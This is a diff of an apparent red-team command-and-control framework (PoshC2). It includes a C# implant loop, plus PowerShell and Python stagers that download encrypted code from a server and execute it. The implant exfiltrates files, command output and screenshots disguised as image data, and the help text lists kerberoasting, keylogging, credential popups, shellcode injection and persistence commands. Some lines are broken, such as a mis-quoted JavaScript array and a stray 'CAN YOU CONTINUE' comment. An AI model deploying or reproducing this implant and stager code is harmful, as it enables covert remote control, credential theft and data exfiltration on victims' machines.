||||
}, null, true);
|
||||
}
|
||||
|
||||
static string RunAssembly(string c)
|
||||
{
|
||||
var splitargs = c.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
|
||||
int i = 0;
|
||||
string sOut = null;
|
||||
bool runexe = true;
|
||||
string sMethod = "", splittheseargs = "", qualifiedname = "", name = "";
|
||||
foreach (var a in splitargs)
|
||||
{
|
||||
if (i == 1)
|
||||
qualifiedname = a;
|
||||
if (i == 2)
|
||||
name = a;
|
||||
|
||||
if (c.ToLower().StartsWith("run-exe")) {
|
||||
if (i > 2)
|
||||
splittheseargs = splittheseargs + " " + a;
|
||||
} else {
|
||||
if (i == 3)
|
||||
sMethod = a;
|
||||
else if (i > 3)
|
||||
splittheseargs = splittheseargs + " " + a;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
var splitnewargs = splittheseargs.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
|
||||
foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())
|
||||
{
|
||||
if (Ass.FullName.ToString().ToLower().StartsWith(name.ToLower()))
|
||||
{
|
||||
var loadedType = LoadSomething(qualifiedname + ", " + Ass.FullName);
|
||||
try
|
||||
{
|
||||
if (c.ToLower().StartsWith("run-exe"))
|
||||
sOut = loadedType.Assembly.EntryPoint.Invoke(null, new object[] { splitnewargs }).ToString();
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
sOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { splitnewargs }).ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
var asOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, null).ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
return sOut;
|
||||
}
|
||||
|
||||
internal static class UrlGen
|
||||
{
|
||||
static List<String> _stringnewURLS = new List<String>();
|
||||
static String _randomURI;
|
||||
static String _baseUrl;
|
||||
static Random _rnd = new Random();
|
||||
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
|
||||
internal static void Init(string stringURLS, String RandomURI, String baseUrl)
|
||||
{
|
||||
_stringnewURLS = _re.Matches(stringURLS.Replace(",", "").Replace(" ", "")).Cast<Match>().Select(m => m.Value).Where(m => !string.IsNullOrEmpty(m)).ToList();
|
||||
_randomURI = RandomURI;
|
||||
_baseUrl = baseUrl;
|
||||
}
|
||||
|
||||
internal static String GenerateUrl()
|
||||
{
|
||||
string URL = _stringnewURLS[_rnd.Next(_stringnewURLS.Count)];
|
||||
return $"{_baseUrl}/{URL}{Guid.NewGuid()}/?{_randomURI}";
|
||||
}
|
||||
}
|
||||
|
||||
internal static class ImgGen
|
||||
{
|
||||
static Random _rnd = new Random();
|
||||
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
|
||||
static List<String> _newImgs = new List<String>();
|
||||
|
||||
internal static void Init(String stringIMGS)
|
||||
{
|
||||
var stringnewIMGS = _re.Matches(stringIMGS.Replace(",", "")).Cast<Match>().Select(m => m.Value);
|
||||
stringnewIMGS = stringnewIMGS.Where(m => !string.IsNullOrEmpty(m));
|
||||
_newImgs = stringnewIMGS.ToList();
|
||||
}
|
||||
|
||||
static string RandomString(int length)
|
||||
{
|
||||
const string chars = "...................@..........................Tyscf";
|
||||
return new string(Enumerable.Repeat(chars, length).Select(s => s[_rnd.Next(s.Length)]).ToArray());
|
||||
}
|
||||
|
||||
internal static byte[] GetImgData(byte[] cmdoutput)
|
||||
{
|
||||
Int32 maxByteslen = 1500, maxDatalen = cmdoutput.Length + maxByteslen;
|
||||
var randimg = _newImgs[(new Random()).Next(0, _newImgs.Count)];
|
||||
var imgBytes = System.Convert.FromBase64String(randimg);
|
||||
var BytePadding = System.Text.Encoding.UTF8.GetBytes((RandomString(maxByteslen - imgBytes.Length)));
|
||||
var ImageBytesFull = new byte[maxDatalen];
|
||||
|
||||
System.Array.Copy(imgBytes, 0, ImageBytesFull, 0, imgBytes.Length);
|
||||
System.Array.Copy(BytePadding, 0, ImageBytesFull, imgBytes.Length, BytePadding.Length);
|
||||
System.Array.Copy(cmdoutput, 0, ImageBytesFull, imgBytes.Length + BytePadding.Length, cmdoutput.Length);
|
||||
return ImageBytesFull;
|
||||
}
|
||||
}
|
||||
|
||||
static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS)
|
||||
{
|
||||
UrlGen.Init(stringURLS, RandomURI, baseURL);
|
||||
ImgGen.Init(stringIMGS);
|
||||
int beacontime = 5;
|
||||
if (!Int32.TryParse(Sleep, out beacontime))
|
||||
beacontime = 5;
|
||||
|
||||
var strOutput = new StringWriter();
|
||||
Console.SetOut(strOutput);
|
||||
var exitvt = new ManualResetEvent(false);
|
||||
var output = new StringBuilder();
|
||||
while (!exitvt.WaitOne((int)(beacontime * 1000 * (((new Random()).Next(0, 2) > 0) ? 1.05 : 0.95))))
|
||||
{
|
||||
if (Convert.ToDateTime(KillDate) < DateTime.Now)
|
||||
{
|
||||
exitvt.Set();
|
||||
continue;
|
||||
}
|
||||
output.Length = 0;
|
||||
try
|
||||
{
|
||||
String x = "", tasksrc = "", cmd = null;
|
||||
try
|
||||
{
|
||||
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
|
||||
x = Decryption(Key, cmd).Replace("\0", string.Empty);
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
} //CAN YOU CONTINUE FROM THIS POINT?
|
||||
|
||||
if (x.ToLower().StartsWith("multicmd"))
|
||||
{
|
||||
var splitcmd = x.Replace("multicmd", "");
|
||||
var split = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
|
||||
foreach (string c in split)
|
||||
{
|
||||
tasksrc = c;
|
||||
if (c.ToLower().StartsWith("exit"))
|
||||
{
|
||||
exitvt.Set();
|
||||
break;
|
||||
}
|
||||
else if (c.ToLower().StartsWith("loadmodule"))
|
||||
{
|
||||
var module = Regex.Replace(c, "loadmodule", "", RegexOptions.IgnoreCase);
|
||||
var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
|
||||
output.AppendLine("Module loaded sucessfully");
|
||||
tasksrc = "Module loaded sucessfully";
|
||||
}
|
||||
else if (c.ToLower().StartsWith("upload-file"))
|
||||
{
|
||||
var path = Regex.Replace(c, "upload-file", "", RegexOptions.IgnoreCase);
|
||||
var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
|
||||
Console.WriteLine("Uploaded file to: " + splitargs[1]);
|
||||
var fileBytes = Convert.FromBase64String(splitargs[0]);
|
||||
System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
|
||||
tasksrc = "Uploaded file sucessfully";
|
||||
}
|
||||
else if (c.ToLower().StartsWith("download-file"))
|
||||
{
|
||||
var path = Regex.Replace(c, "download-file ", "", RegexOptions.IgnoreCase);
|
||||
var file = File.ReadAllBytes(path.Replace("\"", ""));
|
||||
var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);
|
||||
|
||||
var dtask = Encryption(Key, c);
|
||||
var dcoutput = Encryption(Key, "", true, fileChuck);
|
||||
var doutputBytes = System.Convert.FromBase64String(dcoutput);
|
||||
var dsendBytes = ImgGen.GetImgData(doutputBytes);
|
||||
GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
|
||||
}
|
||||
else if (c.ToLower().StartsWith("get-screenshotmulti"))
|
||||
{
|
||||
bool sShot = true;
|
||||
int sShotCount = 1;
|
||||
while(sShot) {
|
||||
var sHot = RunAssembly("run-exe Core.Program Core get-screenshot");
|
||||
var dtask = Encryption(Key, c);
|
||||
var dcoutput = Encryption(Key, strOutput.ToString(), true);
|
||||
var doutputBytes = System.Convert.FromBase64String(dcoutput);
|
||||
var dsendBytes = ImgGen.GetImgData(doutputBytes);
|
||||
GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
|
||||
Thread.Sleep(240000);
|
||||
sShotCount++;
|
||||
if (sShotCount > 100) {
|
||||
sShot = false;
|
||||
tasksrc = "Finished Multi";
|
||||
var sbc = strOutput.GetStringBuilder();
|
||||
sbc.Remove(0, sbc.Length);
|
||||
output.Append("[+] Multi Screenshot Ran Sucessfully");
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (c.ToLower().StartsWith("listmodules"))
|
||||
{
|
||||
var appd = AppDomain.CurrentDomain.GetAssemblies();
|
||||
output.AppendLine("[+] Modules loaded:").AppendLine("");
|
||||
foreach (var ass in appd)
|
||||
output.AppendLine(ass.FullName.ToString());
|
||||
}
|
||||
else if (c.ToLower().StartsWith("run-dll") || c.ToLower().StartsWith("run-exe"))
|
||||
{
|
||||
output.AppendLine(RunAssembly(c));
|
||||
}
|
||||
else if (c.ToLower().StartsWith("start-process"))
|
||||
{
|
||||
var proc = c.Replace("'", "").Replace("\"", "");
|
||||
var pstart = Regex.Replace(proc, "start-process ", "", RegexOptions.IgnoreCase);
|
||||
pstart = Regex.Replace(pstart, "-argumentlist(.*)", "", RegexOptions.IgnoreCase);
|
||||
var args = Regex.Replace(proc, "(.*)argumentlist ", "", RegexOptions.IgnoreCase);
|
||||
var p = new Process();
|
||||
p.StartInfo.UseShellExecute = false;
|
||||
p.StartInfo.RedirectStandardOutput = p.StartInfo.RedirectStandardError = p.StartInfo.CreateNoWindow = true;
|
||||
p.StartInfo.FileName = pstart;
|
||||
p.StartInfo.Arguments = args;
|
||||
p.Start();
|
||||
output.AppendLine(p.StandardOutput.ReadToEnd()).AppendLine(p.StandardError.ReadToEnd());
|
||||
p.WaitForExit();
|
||||
}
|
||||
else if (c.ToLower().StartsWith("setbeacon") || c.ToLower().StartsWith("beacon"))
|
||||
{
|
||||
var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
|
||||
var mch = bcnRgx.Match(c);
|
||||
if (mch.Success)
|
||||
{
|
||||
beacontime = Int32.Parse(mch.Groups["t"].Value);
|
||||
switch (mch.Groups["u"].Value)
|
||||
{
|
||||
case "h":
|
||||
beacontime *= 3600;
|
||||
break;
|
||||
case "m":
|
||||
beacontime *= 60;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
output.AppendLine($@"[X] Invalid time ""{c}""");
|
||||
}
|
||||
|
||||
output.AppendLine(strOutput.ToString());
|
||||
var sb = strOutput.GetStringBuilder();
|
||||
sb.Remove(0, sb.Length);
|
||||
if (tasksrc.Length > 200)
|
||||
tasksrc = tasksrc.Substring(0, 199);
|
||||
var task = Encryption(Key, tasksrc);
|
||||
var coutput = Encryption(Key, output.ToString(), true);
|
||||
var outputBytes = System.Convert.FromBase64String(coutput);
|
||||
var sendBytes = ImgGen.GetImgData(outputBytes);
|
||||
GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
var task = Encryption(Key, "Error");
|
||||
var eroutput = Encryption(Key, $"Error: {output.ToString()} {e}", true);
|
||||
var outputBytes = System.Convert.FromBase64String(eroutput);
|
||||
var sendBytes = ImgGen.GetImgData(outputBytes);
|
||||
GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,83 @@
|
|||
#REPLACEINSECURE#
|
||||
$sc="#REPLACEHOSTPORT#"
|
||||
$s="#REPLACEIMPTYPE#"
|
||||
function CAM ($key,$IV){
|
||||
try {$a = New-Object "System.Security.Cryptography.RijndaelManaged"
|
||||
} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"}
|
||||
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
|
||||
$a.BlockSize = 128
|
||||
$a.KeySize = 256
|
||||
if ($IV)
|
||||
{
|
||||
if ($IV.getType().Name -eq "String")
|
||||
{$a.IV = [System.Convert]::FromBase64String($IV)}
|
||||
else
|
||||
{$a.IV = $IV}
|
||||
}
|
||||
if ($key)
|
||||
{
|
||||
if ($key.getType().Name -eq "String")
|
||||
{$a.Key = [System.Convert]::FromBase64String($key)}
|
||||
else
|
||||
{$a.Key = $key}
|
||||
}
|
||||
$a}
|
||||
function ENC ($key,$un){
|
||||
$b = [System.Text.Encoding]::UTF8.GetBytes($un)
|
||||
$a = CAM $key
|
||||
$e = $a.CreateEncryptor()
|
||||
$f = $e.TransformFinalBlock($b, 0, $b.Length)
|
||||
[byte[]] $p = $a.IV + $f
|
||||
[System.Convert]::ToBase64String($p)
|
||||
}
|
||||
function DEC ($key,$enc){
|
||||
$b = [System.Convert]::FromBase64String($enc)
|
||||
$IV = $b[0..15]
|
||||
$a = CAM $key $IV
|
||||
$d = $a.CreateDecryptor()
|
||||
$u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
|
||||
[System.Text.Encoding]::UTF8.GetString($u)}
|
||||
function Get-Webclient ($Cookie) {
|
||||
$d = (Get-Date -Format "dd/MM/yyyy");
|
||||
$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null);
|
||||
$k = [datetime]::ParseExact("#REPLACEKILLDATE#","dd/MM/yyyy",$null);
|
||||
if ($k -lt $d) {exit}
|
||||
$username = "#REPLACEPROXYUSER#"
|
||||
$password = "#REPLACEPROXYPASS#"
|
||||
$proxyurl = "#REPLACEPROXYURL#"
|
||||
$wc = New-Object System.Net.WebClient;
|
||||
#REPLACEPROXY#
|
||||
$h="#REPLACEDOMAINFRONT#"
|
||||
if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)}
|
||||
elseif($h){$script:s="https://$($h)#REPLACECONNECT#";$script:sc="https://$($h)"}
|
||||
$wc.Headers.Add("User-Agent","#REPLACEUSERAGENT#")
|
||||
$wc.Headers.Add("Referer","#REPLACEREFERER#")
|
||||
if ($proxyurl) {
|
||||
$wp = New-Object System.Net.WebProxy($proxyurl,$true);
|
||||
if ($username -and $password) {
|
||||
$PSS = ConvertTo-SecureString $password -AsPlainText -Force;
|
||||
$getcreds = new-object system.management.automation.PSCredential $username,$PSS;
|
||||
$wp.Credentials = $getcreds;
|
||||
} else { $wc.UseDefaultCredentials = $true; }
|
||||
$wc.Proxy = $wp; } else {
|
||||
$wc.UseDefaultCredentials = $true;
|
||||
$wc.Proxy.Credentials = $wc.Credentials;
|
||||
} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
|
||||
$wc }
|
||||
function primer {
|
||||
try{$u=([Security.Principal.WindowsIdentity]::GetCurrent()).name} catch{if ($env:username -eq "$($env:computername)$"){}else{$u=$env:username}}
|
||||
$o="$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;#REPLACEHOSTPORT#"
|
||||
try {$pp=enc -key #REPLACEKEY# -un $o} catch {$pp="ERROR"}
|
||||
$primer = (Get-Webclient -Cookie $pp).downloadstring($s)
|
||||
$p = dec -key #REPLACEKEY# -enc $primer
|
||||
if ($p -like "*key*") {$p| iex}
|
||||
}
|
||||
try {primer} catch {}
|
||||
Start-Sleep 300
|
||||
try {primer} catch {}
|
||||
Start-Sleep 600
|
||||
try {primer} catch {}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
import urllib2,os,sys,base64,ssl,socket,pwd,hashlib,time
|
||||
kd=time.strptime("#REPLACEKILLDATE#","%d/%m/%Y")
|
||||
pyhash="#REPLACEPYTHONHASH#"
|
||||
pykey="#REPLACESPYTHONKEY#"
|
||||
key="#REPLACEKEY#"
|
||||
serverclean="#REPLACEHOSTPORT#"
|
||||
url="#REPLACEQUICKCOMMAND#"
|
||||
url2="#REPLACECONNECTURL#"
|
||||
hh="#REPLACEDOMAINFRONT#"
|
||||
ua="#REPLACEUSERAGENT#"
|
||||
cstr=time.strftime("%d/%m/%Y",time.gmtime());cstr=time.strptime(cstr,"%d/%m/%Y")
|
||||
ssl._create_default_https_context=ssl._create_unverified_context
|
||||
if hh: r=urllib2.Request(url,headers={'Host':hh,'User-agent':ua})
|
||||
else: r=urllib2.Request(url,headers={'User-agent':ua})
|
||||
res=urllib2.urlopen(r);d=res.read();c=d[1:];b=c.decode("hex")
|
||||
s=hashlib.sha512(b)
|
||||
if pykey in b and pyhash == s.hexdigest() and cstr < kd: exec(b)
|
||||
else: sys.exit(0)
|
||||
un=pwd.getpwuid( os.getuid() )[ 0 ];pid=os.getpid()
|
||||
is64=sys.maxsize > 2**32;arch=('x64' if is64 == True else 'x86')
|
||||
hn=socket.gethostname();o=urllib2.build_opener()
|
||||
encsid=encrypt(key, '%s;%s;%s;%s;%s;%s' % (un,hn,hn,arch,pid,serverclean))
|
||||
if hh:r=urllib2.Request(url2,headers={'Host':hh,'User-agent':ua,'Cookie':'SessionID=%s' % encsid})
|
||||
else:r=urllib2.Request(url2,headers={'User-agent':ua,'Cookie':'SessionID=%s' % encsid})
|
||||
res=urllib2.urlopen(r);html=res.read();x=decrypt(key, html).rstrip('\0');exec(x)
|
||||
|
7
HTML.py
7
HTML.py
|
@ -209,7 +209,7 @@ function SearchTask() {
|
|||
function tweakMarkup(){
|
||||
|
||||
// Add classes to columns
|
||||
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
|
||||
var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
|
||||
tbl = document.getElementById("PoshTable");
|
||||
ths = tbl.getElementsByTagName("th");
|
||||
for( i=0; i<ths.length; i++ ){
|
||||
|
@ -228,7 +228,7 @@ function tweakMarkup(){
|
|||
for( j=0; j<tds.length; j++ ){
|
||||
td = tds[j];
|
||||
td.className = classes[j]
|
||||
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
|
||||
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|Label|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
|
||||
td.className += ' hidden';
|
||||
td.innerHTML = '<div>' + td.innerHTML + '</div>';
|
||||
td.onclick = toggleHide
|
||||
|
@ -350,7 +350,7 @@ __________ .__. _________ ________
|
|||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk =============
|
||||
================== www.PoshC2.co.uk ===============
|
||||
</pre>
|
||||
"""
|
||||
|
||||
|
@ -398,6 +398,7 @@ __________ .__. _________ ________
|
|||
HTMLPost = HTMLPost.replace("<table border=\"1\" class=\"dataframe table\">","<table id=\"PoshTable\" border=\"1\" class=\"PoshTableClass\">")
|
||||
HTMLPost = HTMLPost.replace("<th>CompletedTaskID</th>","<th class=\"CompletedTaskID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ID</th>","<th class=\"ID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Label</th>","<th class=\"Label\">Label</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>TaskID</th>","<th class=\"TaskID\">TaskID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
|
||||
|
|
141
Help.py
141
Help.py
|
@ -1,12 +1,12 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
logopic = """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
logopic = """ __________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \\
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
| | ( <_> )___ \| Y \ \ \____/ \\
|
||||
|____| \____/____ >___| / \______ /\_______ \\
|
||||
\/ \/ \/ \/
|
||||
=============== v4.5 www.PoshC2.co.uk ============="""
|
||||
=============== v4.6 www.PoshC2.co.uk ============="""
|
||||
|
||||
|
||||
py_help1 = """
|
||||
|
@ -32,6 +32,95 @@ unhide-implant
|
|||
help
|
||||
searchhelp mimikatz
|
||||
back
|
||||
label-implant <newlabel>
|
||||
linuxprivchecker
|
||||
"""
|
||||
|
||||
sharp_help1 = """
|
||||
Implant Features:
|
||||
=====================
|
||||
ps
|
||||
beacon 60s / beacon 10m / beacon 2h
|
||||
turtle 60s / turtle 30m / turtle 8h
|
||||
ls c:\\temp\\
|
||||
ls-recurse c:\\temp\\
|
||||
get-content c:\\temp\\log.txt
|
||||
get-userinfo
|
||||
pwd
|
||||
delete c:\\temp\\test.exe
|
||||
move c:\\temp\\old.exe c:\\temp\\new.exe
|
||||
resolveip 127.0.0.1
|
||||
resolvednsname google.com
|
||||
loadmodule Seatbelt.exe
|
||||
loadmoduleforce
|
||||
listmodule
|
||||
modulesloaded
|
||||
run-exe Core.Program Core
|
||||
run-dll Seatbelt.Program Seatbelt UserChecks
|
||||
start-process net -argumentlist users
|
||||
download-file "c:\\temp\\test.exe"
|
||||
upload-file -source /tmp/test.exe -destination "c:\\temp\\test.exe"
|
||||
kill-implant
|
||||
hide-implant
|
||||
unhide-implant
|
||||
help
|
||||
searchhelp listmodules
|
||||
label-implant <newlabel>
|
||||
back
|
||||
|
||||
Migration
|
||||
===========
|
||||
inject-shellcode c:\\windows\\system32\\svchost.exe <optional-ppid-spoofid>
|
||||
inject-shellcode 1453 <optional-ppid-spoofid>
|
||||
|
||||
Privilege Escalation:
|
||||
=======================
|
||||
arpscan 172.16.0.1/24 true
|
||||
get-serviceperms c:\\temp\\
|
||||
get-screenshot
|
||||
get-screenshotmulti
|
||||
get-keystrokes c:\\temp\\logger.txt
|
||||
stop-keystrokes
|
||||
testadcredential domain username password
|
||||
testlocalcredential username password
|
||||
cred-popper
|
||||
loadmodule SharpUp.exe
|
||||
run-exe SharpUp.Program SharpUp
|
||||
|
||||
Privilege Escalation:
|
||||
=======================
|
||||
loadmodule Seatbelt.exe
|
||||
run-exe Seatbelt.Program Seatbelt all
|
||||
run-exe Seatbelt.Program Seatbelt BasicOSInfo
|
||||
run-exe Seatbelt.Program Seatbelt SysmonConfig
|
||||
run-exe Seatbelt.Program Seatbelt PowerShellSettings
|
||||
run-exe Seatbelt.Program Seatbelt RegistryAutoRuns
|
||||
|
||||
Network Tasks / Lateral Movement:
|
||||
====================================
|
||||
loadmodule Rubeus.exe
|
||||
run-exe Rubeus.Program Rubeus kerberoast
|
||||
run-exe Rubeus.Program Rubeus asreproast /user:username
|
||||
|
||||
Network Tasks / Lateral Movement:
|
||||
====================================
|
||||
loadmodule SharpView.exe
|
||||
run-exe SharpView.Program SharpView Get-NetUser -SamAccountName ben
|
||||
run-exe SharpView.Program SharpView Get-NetGroup -Name *admin* -Domain -Properties samaccountname,member -Recurse
|
||||
run-exe SharpView.Program SharpView Get-NetGroupMember -LDAPFilter GroupName=*Admins* -Recurse -Properties samaccountname
|
||||
run-exe SharpView.Program SharpView Get-NetUser -Name deb -Domain blorebank.local
|
||||
run-exe SharpView.Program SharpView Get-NetSession -Domain blorebank.local
|
||||
run-exe SharpView.Program SharpView Get-DomainController -Domain blorebank.local
|
||||
run-exe SharpView.Program SharpView Get-DomainUser -LDAPFilter samaccountname=ben -Properties samaccountname,mail
|
||||
run-exe SharpView.Program SharpView Get-DomainUser -AdminCount -Properties samaccountname
|
||||
run-exe SharpView.Program SharpView Get-DomainComputer -LDAPFilter operatingsystem=*2012* -Properties samaccountname
|
||||
run-exe SharpView.Program Sharpview Find-InterestingFile -Path c:\users\ -Include *exe*
|
||||
run-exe SharpView.Program SharpView Find-InterestingDomainShareFile -ComputerName SERVER01
|
||||
|
||||
Bloodhound:
|
||||
=============
|
||||
loadmodule SharpHound.exe
|
||||
run-exe Sharphound2.Sharphound Sharphound --ZipFileName c:\\temp\\test.zip --JsonFolder c:\\temp\\
|
||||
"""
|
||||
|
||||
posh_help1 = """
|
||||
|
@ -39,6 +128,7 @@ Implant Features:
|
|||
=====================
|
||||
ps
|
||||
searchhelp mimikatz
|
||||
label-implant <newlabel>
|
||||
get-hash
|
||||
unhidefile
|
||||
hidefile
|
||||
|
@ -49,7 +139,6 @@ turtle 60s / turtle 30m / turtle 8h
|
|||
kill-implant
|
||||
hide-implant
|
||||
unhide-implant
|
||||
invoke-enum
|
||||
get-proxy
|
||||
get-computerinfo
|
||||
unzip <source file> <destination folder>
|
||||
|
@ -143,6 +232,7 @@ posh_help4 = """
|
|||
Active Directory Enumeration:
|
||||
==================
|
||||
invoke-aclscanner
|
||||
invoke-aclscanner | Where-Object {$_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}
|
||||
get-objectacl -resolveguids -samaccountname john
|
||||
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword
|
||||
get-netuser -admincount | select samaccountname
|
||||
|
@ -329,14 +419,13 @@ quit
|
|||
|
||||
posh_help = posh_help1 + posh_help2 + posh_help3 + posh_help4 + posh_help5 + posh_help6 + posh_help7 + posh_help8
|
||||
|
||||
|
||||
# pre help commands
|
||||
PRECOMMANDS = ['list-urls','show-urls', 'add-autorun' ,'list-autorun','del-autorun', 'nuke-autorun','automigrate-frompowershell',
|
||||
'show-serverinfo','history','output-to-html','set-clockworksmsapikey','set-clockworksmsnumber','set-defaultbeacon',
|
||||
'listmodules','pwnself','creds','createnewpayload','createproxypayload','listmodules',
|
||||
'createdaisypayload','turnoff-notifications','turnon-notifications','tasks','cleartasks',"opsec"]
|
||||
|
||||
# post help commands
|
||||
# post help commands powershell implant
|
||||
COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",
|
||||
"bypass-uac","cve-2016-9192","convertto-shellcode","decrypt-rdcman","dump-ntds","get-computerinfo","get-creditcarddata","get-gppautologon",
|
||||
"get-gpppassword","get-idletime","get-keystrokes","get-locadm","get-mshotfixes","get-netstat","get-passnotexp","get-passpol","get-recentfiles",
|
||||
|
@ -349,21 +438,25 @@ COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",
|
|||
"get-netuser","sleep","beacon","setbeacon","get-screenshot", "install-persistence","hide-implant","unhide-implant","kill-implant","invoke-runasdaisypayload",
|
||||
"invoke-runasproxypayload", "invoke-runaspayload","migrate","$psversiontable","back", "clear","invoke-daisychain","stop-daisy",
|
||||
"ipconfig","upload-file","download-file","download-files","history","get-help","stopsocks","get-screenshotallwindows",
|
||||
"hashdump","cred-popper","help","whoami","createnewpayload","createproxypayload","createdaisypayload",
|
||||
"get-proxy","restart-computer","turtle","posh-delete","get-idletime","get-psdrive",
|
||||
"get-netcomputer","get-netdomain","get-netforest","get-netforesttrust","get-forestdomain",
|
||||
"test-connection","get-netdomaincontroller","invoke-pbind","pbind-command",
|
||||
"invoke-kerberoast","invoke-userhunter","get-process","start-process",
|
||||
"searchhelp","get-netshare","pbind-kill","install-servicelevel-persistencewithproxy",
|
||||
"install-servicelevel-persistence","remove-servicelevel-persistence","reversedns",
|
||||
"invoke-eternalblue","loadmoduleforce","unhook-amsi","get-implantworkingdirectory","get-system",
|
||||
"get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded",
|
||||
"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence",
|
||||
"get-hash","get-creds","resolve-ipaddress","invoke-wmievent","remove-wmievent","get-wmievent",
|
||||
"invoke-smbclient","get-keystrokedata","unhidefile","hidefile"]
|
||||
"hashdump","cred-popper","help","whoami","createnewpayload","createproxypayload","createdaisypayload","get-proxy","restart-computer",
|
||||
"turtle","posh-delete","get-idletime","get-psdrive","get-netcomputer","get-netdomain","get-netforest","get-netforesttrust",
|
||||
"get-forestdomain","test-connection","get-netdomaincontroller","invoke-pbind","pbind-command","invoke-kerberoast","invoke-userhunter",
|
||||
"get-process","start-process","searchhelp","get-netshare","pbind-kill","install-servicelevel-persistencewithproxy",
|
||||
"install-servicelevel-persistence","remove-servicelevel-persistence","reversedns","invoke-eternalblue","loadmoduleforce","unhook-amsi",
|
||||
"get-implantworkingdirectory","get-system","get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded",
|
||||
"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence","get-hash","get-creds","resolve-ipaddress",
|
||||
